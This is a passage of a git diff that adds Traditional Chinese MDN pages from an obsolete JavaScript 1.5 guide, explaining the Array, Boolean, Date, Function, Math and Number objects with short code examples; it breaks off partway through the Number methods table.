@@ -0,0 +1,151 @@
+---
+title: Array 物件
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Array_物件
+---
+<p> </p>
+<h3 id="Array_物件" name="Array_物件">Array 物件</h3>
+<p>JavaScript 並沒有明確的陣列資料類型。不過你可以在你的應用程式中，使用預先定義的 <code>Array</code> 物件和他的方法來運用陣列。<code>Array</code> 物件有各種陣列的操作方法，如合併、反轉、排序。他還有用來確定陣列的長度的屬性，還有和正規表達式一起使用的屬性。</p>
+<p><em>陣列</em>是值的有序集合，你可以使用名稱或索引來參考這些值。例如，你有一個稱作 <code>emp</code> 的陣列，其中內含職員的名字，並按照職員的編號來索引。於是 <code>emp{{ mediawiki.external(1) }}</code> 就代表編號 1 的職員，<code>emp{{ mediawiki.external(2) }}</code> 就代表編號 2 的職員，依此類推。</p>
+<p> </p>
+<h4 id="陣列的建立" name="陣列的建立">陣列的建立</h4>
+<p><code>Array</code> 物件的建立如下︰</p>
+<pre>1. arrayObjectName = new Array(element0, element1, ..., elementN)
+2. arrayObjectName = new Array(arrayLength)
+</pre>
+<p><code>arrayObjectName</code> 就是新物件的名稱、或者是既存物件的屬性。當使用 <code>Array</code> 的屬性和方法的時候，<code>arrayObjectName</code> 就是既存的 <code>Array</code> 物件的名稱、或者是既存物件的屬性。</p>
+<p><code>element0, element1, ..., elementN</code> 就是陣列元素的值的列表。如果指定了這個形式的話，陣列就會以指定的值作為元素來初始化，且陣列的 length 屬性會被設為參數的數目。</p>
+<p><code>arrayLength</code> 就是陣列的初期長度。下面的代碼建立帶有五個元素的陣列︰</p>
+<pre>billingMethod = new Array(5)
+</pre>
+<p>陣列的字面表達同時也是 <code>Array</code> 物件；舉例來說，下面的字面表達就是 <code>Array</code> 物件。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%AD%97%E9%9D%A2%E8%A1%A8%E9%81%94#%E9%99%A3%E5%88%97%E7%9A%84%E5%AD%97%E9%9D%A2%E8%A1%A8%E9%81%94" title="zh tw/Core JavaScript 1.5 教學/字面表達#陣列的字面表達">陣列的字面表達</a> 以取得陣列的字面表達的細節。</p>
+<pre>coffees = ["French Roast", "Columbian", "Kona"]
+</pre>
+<h4 id="陣列的操作" name="陣列的操作">陣列的存放</h4>
+<p>你可以藉由把值代入給陣列自己的元素的方式來存放到陣列裡。例如，</p>
+<pre>emp[1] = "Casey Jones"
+emp[2] = "Phil Lesh"
+emp[3] = "August West"
+</pre>
+<p>你也可以在建立陣列的同時來作存放︰</p>
+<pre>myArray = new Array("Hello", myVar, 3.14159)
+</pre>
+<h4 id="陣列元素的參考" name="陣列元素的參考">陣列元素的參考</h4>
+<p>你可以使用元素的序號來參考陣列的元素。例如，假設你定義了如下的陣列︰</p>
+<pre>myArray = new Array("Wind","Rain","Fire")
+</pre>
+<p>然後你可以使用 <code>myArray{{ mediawiki.external(0) }}</code> 來參考第一個元素，使用 <code>myArray{{ mediawiki.external(1) }}</code> 來參考第二個元素。</p>
+<p>元素的索引是從零 (0) 開始的，不過陣列的長度（例如，<code>myArray.length</code>）反映的是陣列中的元素的數目。</p>
+<h4 id="Array_的方法" name="Array_的方法">Array 的方法</h4>
+<p><code>Array</code> 物件有以下的方法︰</p>
+<ul>
+ <li><code>concat</code> 合併兩個陣列，並把新的陣列返回。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array("1","2","3")
+   myArray = myArray.concat("a", "b", "c"); // myArray 現在是 ["1", "2", "3", "a", "b", "c"]
+</pre>
+<p> </p>
+<ul>
+ <li><code>join(deliminator = ",")</code> 把所有的陣列元素合併成字串。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array("Wind","Rain","Fire")
+   list = myArray.join(" - "); // list 的內容是 "Wind - Rain - Fire"
+</pre>
+<p> </p>
+<ul>
+ <li><code>pop</code> 把陣列的最後一個元素移除掉，並把元素返回。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array("1", "2", "3");
+   last=myArray.pop(); // MyArray 現在是 ["1", "2"], last = "3"
+</pre>
+<p> </p>
+<ul>
+ <li><code>push</code> 在陣列的末端加入一個以上的元素，並返回陣列的最終長度。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array("1", "2");
+   myArray.push("3"); // MyArray 現在是 ["1", "2", "3"]
+</pre>
+<p> </p>
+<ul>
+ <li><code>reverse</code> 調換陣列的元素︰陣列的第一個元素變成最後一個元素，最後一個則變成第一個。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array ("1", "2", "3");
+   myArray.reverse(); // 調換陣列的結果是 myArray = [ "3", "2", "1" ]
+</pre>
+<p> </p>
+<ul>
+ <li><code>shift</code> 移除陣列的第一個元素，並返回被移除的元素。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array ("1", "2", "3");
+   first=myArray.shift(); // MyArray 現在是 ["2", "3"]，first 是 "1"
+</pre>
+<p> </p>
+<ul>
+ <li><code>slice (start_index, upto_index)</code> 抽出陣列的片斷，並返回新的陣列。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array ("a", "b", "c", "d", "e");
+   myArray = myArray.slice(1,4); // 從索引 1 為起點抽出所有的元素，直到索引 4 為止，返回 [ "b", "c", "d" ]
+</pre>
+<p> </p>
+<ul>
+ <li><code>splice(index, count_to_remove, addelement1, addelement2, ...)</code> 加入並/或移除陣列的元素。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array ("1", "2", "3", "4", "5");
+   myArray.splice(1,3,"a","b","c", "d"); // MyArray 現在是 ["1", "a", "b", "c", "d", "5"]
+   // 這個代碼從索引 1（也就是 "2"）開始，把那裡的 3 個元素移除掉，
+   // 然後把所有的連續元素插入到那個位置。
+</pre>
+<p> </p>
+<ul>
+ <li><code>sort</code> 把陣列的元素重新排序。</li>
+</ul>
+<p> </p>
+<pre class="eval">   myArray = new Array("Wind","Rain","Fire")
+   myArray.sort(); // 排序陣列的結果是 myArrray = [ "Fire", "Rain", "Wind" ]
+</pre>
+<p> </p>
+<p><code>sort</code> 也接受 Callback 函數以確定該如何排序陣列的內容。這個函數會對兩個值作比較，並返回三個值的其中一者︰</p>
+<ul>
+ <li>如果 a 在排序系統中小於 b，返回 -1（或任意的負數）</li>
+ <li>如果 a 在排序系統中大於 b，返回 1（或任意的正數）</li>
+ <li>如果 a 和 b 被認為是同等的，返回 0。</li>
+</ul>
+<p>舉例來說，下面的代碼將以陣列最後面的字母來排序︰</p>
+<p> </p>
+<pre class="eval">   var sortFn = function(a,b){
+       if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+       if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+       if (a[a.length - 1] == b[b.length - 1]) return 0;
+       }
+   myArray.sort(sortFn); // 排序陣列的結果是 myArray = ["Wind","Fire","Rain"]
+</pre>
+<p> </p>
+<ul>
+ <li><code>unshift</code> 在陣列的前頭加入一個以上的元素，並返回陣列的新長度。</li>
+</ul>
+<h4 id="二維陣列" name="二維陣列">二維陣列</h4>
+<p>下面的代碼建立二維陣列。</p>
+<pre>a = new Array(4)
+for (i=0; i &lt; 4; i++) {
+   a[i] = new Array(4)
+   for (j=0; j &lt; 4; j++) {
+      a[i][j] = "["+i+","+j+"]"
+   }
+}
+</pre>
+<p>本例以如下的行來建立陣列︰</p>
+<pre>行 0:[0,0][0,1][0,2][0,3]
+行 1:[1,0][1,1][1,2][1,3]
+行 2:[2,0][2,1][2,2][2,3]
+行 3:[3,0][3,1][3,2][3,3]
+</pre>
+<h4 id="陣列和正規表達式" name="陣列和正規表達式">陣列和正規表達式</h4>
+<p>如果有一個陣列是正規表達式和字串之間比對的結果，這個陣列會返回有關比對的資訊的屬性和元素。陣列可以是 <code>RegExp.exec</code>、<code>String.match</code>、<code>String.split</code> 的返回值。若需要與正規表達式一同使用陣列的資訊，詳見第四章，<a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8#%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F" title="zh tw/Core JavaScript 1.5 教學#正規表達式">正規表達式</a>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:Boolean_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/boolean_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/boolean_物件/index.html
new file mode 100644
index 0000000000..02648f7073
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/boolean_物件/index.html
@@ -0,0 +1,12 @@
+---
+title: Boolean 物件
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Boolean_物件
+---
+<p> </p>
+<h3 id="Boolean_物件" name="Boolean_物件">Boolean 物件</h3>
+<p><code>Boolean</code> 物件是原始的 Boolean 資料類型包裝而成。使用下面的語法來建立 <code>Boolean</code> 物件︰</p>
+<pre>booleanObjectName = new Boolean(value)
+</pre>
+<p>別把原始的布林值的 <code>true</code> 和 <code>false</code> 與 <code>Boolean</code> 物件的 true 和 false 值給混淆了。任何物件的值只要不是 <code>undefined</code>、<code>null</code>、<code>0</code>、<code>NaN</code>、空字串，即使是值為 false 的 <code>Boolean</code> 物件，當傳入到條件語句裡的時候，其求值結果仍為 true。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%A2%9D%E4%BB%B6%E8%AA%9E%E6%B3%95#if...else_%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/條件語法#if...else 語法">if...else 語法</a> 取得更進一步資訊。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Array_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:Date_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/date_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/date_物件/index.html
new file mode 100644
index 0000000000..ca94741f14
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/date_物件/index.html
@@ -0,0 +1,82 @@
+---
+title: Date 物件
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Date_物件
+---
+<p> </p>
+<h3 id="Date_物件" name="Date_物件">Date 物件</h3>
+<p>JavaScript 並沒有日期的資料類型。不過你可以在你的應用程式中使用 <code>Date</code> 物件及其方法來使用日期和時間。<code>Date</code> 物件有非常大量的方法可用來設定、取得、操作日期。不過沒有任何的屬性。</p>
+<p>JavaScript 處理日期的方式很類似 Java。這兩個語言有很多同樣的日期方法，而且這兩個語言都是以 1970 年 1 月 1 日 00:00:00 開始的毫秒數來儲存日期。</p>
+<p>Date 物件的範圍是以 1970 年 1 月 1 日 (UTC) 為基準，從 -100,000,000 日一直到 100,000,000 日。</p>
+<p>如下建立 <code>Date</code> 物件︰</p>
+<pre>dateObjectName = new Date([parameters])
+</pre>
+<p>此處的 <code>dateObjectName</code> 就是將要建立的 <code>Date</code> 物件的名稱；他可以是新的物件或是既存物件的屬性。</p>
+<p>前敘語法中的 <code>parameters</code> 可以是下列的任何一種形式︰</p>
+<ul>
+ <li>沒有參數︰建立今天的日期和時間。例如，<code>today = new Date()</code>。</li>
+ <li>以此格式表示日期的字串︰"月 日, 年 時:分:秒"。例如，<code>Xmas95 = new Date("December 25, 1995 13:30:00")</code>。如果你省略了時、分、秒，這些值會被設為零。</li>
+ <li>一組年、月、日的整數值。例如，<code>Xmas95 = new Date(1995,11,25)</code>。</li>
+ <li>一組年、月、日、時、分、秒的整數值。例如，<code>Xmas95 = new Date(1995,11,25,9,30,0)</code>。</li>
+</ul>
+<p><strong>JavaScript 1.2 及早期版本</strong><br>
+ <code>Date</code> 物件的行為如下︰</p>
+<ul>
+ <li>不允許使用 1970 年以前的日期。</li>
+ <li>JavaScript 依靠平台特有的日期之便及其行為；平台與平台之間，<code>Date</code> 物件的行為有所不同。</li>
+</ul>
+<h4 id="Methods_of_the_Date_Object" name="Methods_of_the_Date_Object">Date 物件的方法</h4>
+<p>用於處理日期和時間的 <code>Date</code> 物件的方法主要可分為這幾類︰</p>
+<ul>
+ <li>"set" 方法，用於設定 <code>Date</code> 物件的日期和時間的值。</li>
+ <li>"get" 方法，用於取得 <code>Date</code> 物件的日期和時間的值。</li>
+ <li>"to" 方法，用於從 <code>Date</code> 物件返回字串值。</li>
+ <li>parse 和 UTC 方法，用於分析 <code>Date</code> 字串。</li>
+</ul>
+<p>使用 "get" 和 "set" 方法，你可以分別取得或設定秒、分、時、日、星期、月、年。還有 <code>getDay</code> 方法可返回星期，但沒有相對應的 <code>setDay</code> 方法，因為星期會自動設定。這些方法使用整數來表示如下的這些值︰</p>
+<ul>
+ <li>秒和分︰0 至 59</li>
+ <li>時︰0 至 23</li>
+ <li>星期︰0（星期日）至 6（星期六）</li>
+ <li>日︰1 至 31（月份裡的某一日）</li>
+ <li>月︰0（一月）至 11（十二月）</li>
+ <li>年︰從 1900 年起</li>
+</ul>
+<p>舉例來說，假設你定義了如下日期︰</p>
+<pre>Xmas95 = new Date("December 25, 1995")
+</pre>
+<p><code>Xmas95.getMonth()</code> 返回 11，而 <code>Xmas95.getFullYear()</code> 返回 1995。</p>
+<p><code>getTime</code> 和 <code>setTime</code> 方法對於日期的比較來說很有用。<code>getTime</code> 方法返回自 1970 年 1 月 1 日 00:00:00 以來的毫秒數。</p>
+<p>例如，下面的代碼顯示今年的剩餘天數︰</p>
+<pre>today = new Date()
+endYear = new Date(1995,11,31,23,59,59,999) // 設定日和月
+endYear.setFullYear(today.getFullYear()) // 設定為今年
+msPerDay = 24 * 60 * 60 * 1000 // 一天的毫秒數
+daysLeft = (endYear.getTime() - today.getTime()) / msPerDay
+daysLeft = Math.round(daysLeft) // 返回今年的剩餘天數
+</pre>
+<p>本範例建立了名為 today 的 <code>Date</code> 物件，其中內含有今天的日期。然後，使用一天的毫秒數，計算今天和 <code>endYear</code> 之間的天數，使用 <code>getTime</code> 並捨入為天數。</p>
+<p>The <code>parse</code> 方法對於把值從日期字串代入到既存的 <code>Date</code> 物件來說很有用。例如，下面的代碼使用 <code>parse</code> 和 <code>setTime</code> 把日期的值代入到 <code>IPOdate</code> 物件︰</p>
+<pre>IPOdate = new Date()
+IPOdate.setTime(Date.parse("Aug 9, 1995"))
+</pre>
+<h4 id="Using_the_Date_Object:_an_Example" name="Using_the_Date_Object:_an_Example">Date 物件的使用︰範例</h4>
+<p>在下面的範例中，函數 <code>JSClock()</code> 返回以數位時鐘為格式的時間。</p>
+<pre>function JSClock() {
+   var time = new Date()
+   var hour = time.getHours()
+   var minute = time.getMinutes()
+   var second = time.getSeconds()
+   var temp = "" + ((hour &gt; 12) ? hour - 12 : hour)
+   if (hour == 0)
+      temp = "12";
+   temp += ((minute &lt; 10) ? ":0" : ":") + minute
+   temp += ((second &lt; 10) ? ":0" : ":") + second
+   temp += (hour &gt;= 12) ? " P.M." : " A.M."
+   return temp
+}
+</pre>
+<p><code>JSClock</code> 函數首先建立稱為 <code>time</code> 的新 Date 物件；因為沒有提供參數，time 會以今天的日期和時間來建立。然後呼叫 <code>getHours</code>、<code>getMinutes</code>、<code>getSeconds</code> 方法把時、分、秒的值代入到 <code>hour</code>、<code>minute</code>、<code>second</code>。</p>
+<p>以下的四個語句會以 time 為基準建立字串。第一個語句建立變數 <code>temp</code>，使用條件表達式把值代入；如果 <code>hour</code> 大於 12，就會是 (hour - 12)，否則會是單純的 hour，除非 hour 為 0，這時就會是 12。</p>
+<p>下一個語句把 <code>minute</code> 的值附加到 temp 裡。如果 <code>minute</code> 的值小於 10，條件表達式就會加上前置為零的字串；否則加上分隔用分號的字串。接下來的語句把秒的值以同樣方式附加到 temp。</p>
+<p>最後，如果 <code>hour</code> 大於 12，條件表達式就把 "PM" 附加到 temp；否則就把 "AM" 附加到 <code>temp</code>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Boolean_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:Function_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/function_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/function_物件/index.html
new file mode 100644
index 0000000000..4acf1e73ca
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/function_物件/index.html
@@ -0,0 +1,45 @@
+---
+title: Function 物件
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Function_物件
+---
+<p> </p>
+<h3 id="Function_物件" name="Function_物件">Function 物件</h3>
+<p>預先定義的 <code>Function</code> 物件會把指定的 JavaScript 字串的代碼編譯成函數。</p>
+<p>建立 <code>Function</code> 物件如下︰</p>
+<pre>functionObjectName = new Function ([arg1, arg2, ... argn], functionBody)
+</pre>
+<p><code>functionObjectName</code> 就是變數的名稱或既存物件的屬性。他也可以是後跟小寫的事件處理器名稱的物件，如 <code>window.onerror</code>。</p>
+<p><code>arg1</code>, <code>arg2</code>, ... <code>argn</code> 就是要被函數用作形式參數的名稱的參數。其中每一個都必須是字串，並合於有效的 JavaScript 識別子。例如 "x" 或 "theForm"。</p>
+<p><code>functionBody</code> 就是指定的 JavaScript 代碼的字串，將會編譯成函數本體。</p>
+<p><code>Function</code> 物件會在每一次被用到時求值。這比宣告函數並在你的代碼中呼叫還要沒效率，因為宣告過的函數已經編譯過了。</p>
+<p>除了此處所描述的函數的定義方式以外，你也可以使用 <code>function</code> 語句和函數的表達式。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 1.5 參考</a> 取得更進一步資訊。</p>
+<p>下面的代碼把函數代入到變數 <code>setBGColor</code>。這個函數會設定目前文件的背景色。</p>
+<pre>var setBGColor = new Function("document.bgColor='antiquewhite'")
+</pre>
+<p>若要呼叫這個 <code>Function</code> 物件，你可以把指定的變數名稱如同函數一般來使用。下面的代碼執行了由 <code>setBGColor</code> 變數所指定的函數︰</p>
+<pre>var colorChoice="antiquewhite"
+if (colorChoice=="antiquewhite") {setBGColor()}
+</pre>
+<p>你可以使用下列任一方式把函數代入給事件處理器︰</p>
+<pre>1. document.form1.colorButton.onclick=setBGColor
+2. &lt;INPUT NAME="colorButton" TYPE="button"
+      VALUE="Change background color"
+      onClick="setBGColor()"&gt;
+</pre>
+<p>上面所建立的變數 <code>setBGColor</code> 類似於宣告下面的函數︰</p>
+<pre>function setBGColor() {
+   document.bgColor='antiquewhite'
+}
+</pre>
+<p>把函數代入給變數類似於宣告函數，但有幾點不同︰</p>
+<ul>
+ <li>當你使用 <code>var <code>setBGColor = new Function("...")</code></code> 把函數代入給變數時，<code>setBGColor</code> 只是參照以 <code>new <code>Function()</code></code> 建立的函數的變數。</li>
+ <li>當你使用 <code>function setBGColor() {...}</code> 建立函數，<code>setBGColor</code> 並不是變數，而是函數的名稱。</li>
+</ul>
+<p>你可以在函數的內部嵌入函數。內嵌的（內部）函數對於包含這個函數的（外部）函數而言是私有的︰</p>
+<ul>
+ <li>只能由外部函數裡面的語句來存取內部函數。</li>
+ <li>內部函數可以使用外部函數的參數和變數。外部函數不能使用內部函數的參數和變數。</li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Date_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:Math_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/index.html
new file mode 100644
index 0000000000..fb707e5ae1
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/index.html
@@ -0,0 +1,12 @@
+---
+title: 預先定義的核心物件
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件
+translation_of: Web/JavaScript/Guide
+---
+<p> </p>
+<h3 id="預先定義的核心物件" name="預先定義的核心物件">預先定義的核心物件</h3>
+<p>本節解說在核心 JavaScript 裡預先定義的物件︰</p>
+<ul> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Array_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Array_物件">Array 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Boolean_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Boolean_物件">Boolean 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Date_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Date_物件">Date 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Function_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Function_物件">Function 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Math_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Math_物件">Math 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Number_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/Number_物件">Number 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/RegExp_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/RegExp_物件">RegExp 物件</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/String_%E7%89%A9%E4%BB%B6" title="zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/String_物件">String 物件</a></li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:屬性的刪除", "Core_JavaScript_1.5_教學:預先定義的核心物件:Array_物件") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_base_predefinidos", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "ko": "ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_predefiniowane" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/math_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/math_物件/index.html
new file mode 100644
index 0000000000..8aa6bb0223
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/math_物件/index.html
@@ -0,0 +1,69 @@
+---
+title: Math 物件
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Math_物件
+---
+<p> </p>
+<h3 id="Math_物件" name="Math_物件">Math 物件</h3>
+<p>預先定義的 <code>Math</code> 物件具有針對數學常數和函數的屬性和方法。例如，<code>Math</code> 物件的 <code>PI</code> 屬性有圓周率的值 (3.141...)，你可以在應用程式中如下使用。</p>
+<pre>Math.PI
+</pre>
+<p>同樣的，Math 的方法就是標準的數學函數。其中包括三角函數、對數函數、指數函數、以及其他函數。例如，如果你想要使用三角函數 sine，你可以如下編寫。</p>
+<pre>Math.sin(1.56)
+</pre>
+<p>注意，<code>Math</code> 所有的三角函數的方法只接受以弧度為單位的參數。</p>
+<p>下表列出了 <code>Math</code> 物件的方法。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>方法</th>
+   <th>說明</th>
+  </tr>
+  <tr>
+   <td>abs</td>
+   <td>絕對值。</td>
+  </tr>
+  <tr>
+   <td>sin, cos, tan</td>
+   <td>標準三角函數；參數以弧度為單位。</td>
+  </tr>
+  <tr>
+   <td>acos, asin, atan, atan2</td>
+   <td>反三角函數；返回值以弧度為單位。</td>
+  </tr>
+  <tr>
+   <td>exp, log</td>
+   <td>指數函數和以 <sub>e</sub> 為底的自然對數。</td>
+  </tr>
+  <tr>
+   <td>ceil</td>
+   <td>返回大於等於參數的最小整數。</td>
+  </tr>
+  <tr>
+   <td>floor</td>
+   <td>返回小於等於參數的最大整數。</td>
+  </tr>
+  <tr>
+   <td>min, max</td>
+   <td>返回兩個參數中最大的或最小的。</td>
+  </tr>
+  <tr>
+   <td>pow</td>
+   <td>指數函數；第一個參數為底數，第二個為指數。</td>
+  </tr>
+  <tr>
+   <td>random</td>
+   <td>返回介於 0 和 1 之間的隨機數。</td>
+  </tr>
+  <tr>
+   <td>round</td>
+   <td>把參數捨入至最接近的整數。</td>
+  </tr>
+  <tr>
+   <td>sqrt</td>
+   <td>平方根。</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 7.1: Math 的方法</strong></small></p>
+<p>有別於其他的物件，你永遠不需要自行建立 <code>Math</code> 物件。你永遠可以使用預先定義的 <code>Math</code> 物件。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Function_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:Number_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/number_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/number_物件/index.html
new file mode 100644
index 0000000000..01ff1ca26f
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/number_物件/index.html
@@ -0,0 +1,80 @@
+---
+title: Number 物件
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/Number_物件
+---
+<p> </p>
+<h3 id="Number_物件" name="Number_物件">Number 物件</h3>
+<p>The <code>Number</code> 物件具有用於數值常數的屬性，如最大值、非數字、無限大。你不能改變這些屬性的值，你可以如下使用這些屬性︰</p>
+<pre>biggestNum = Number.MAX_VALUE
+smallestNum = Number.MIN_VALUE
+infiniteNum = Number.POSITIVE_INFINITY
+negInfiniteNum = Number.NEGATIVE_INFINITY
+notANum = Number.NaN
+</pre>
+<p>你永遠可以如上方式參照預先定義的 <code>Number</code> 物件的屬性，而不是參照你自己建立的 <code>Number</code> 物件的屬性。</p>
+<p>下表列出 <code>Number</code> 物件的屬性。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>屬性</th>
+   <th>說明</th>
+  </tr>
+  <tr>
+   <td>MAX_VALUE</td>
+   <td>所能表示的最大的數字</td>
+  </tr>
+  <tr>
+   <td>MIN_VALUE</td>
+   <td>所能表示的最小的數字</td>
+  </tr>
+  <tr>
+   <td>NaN</td>
+   <td>特殊的 "not a number"（非數字）值</td>
+  </tr>
+  <tr>
+   <td>NEGATIVE_INFINITY</td>
+   <td>特殊的負無限大的值；溢出時返回</td>
+  </tr>
+  <tr>
+   <td>POSITIVE_INFINITY</td>
+   <td>特殊的正無限大的值；溢出時返回</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 7.2: Number 的屬性</strong></small></p>
+<p>Number 的原型提供從 Number 物件取得各種格式的資訊的方法。下表列出 <code>Number.prototype</code> 的方法。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>方法</th>
+   <th>說明</th>
+  </tr>
+  <tr>
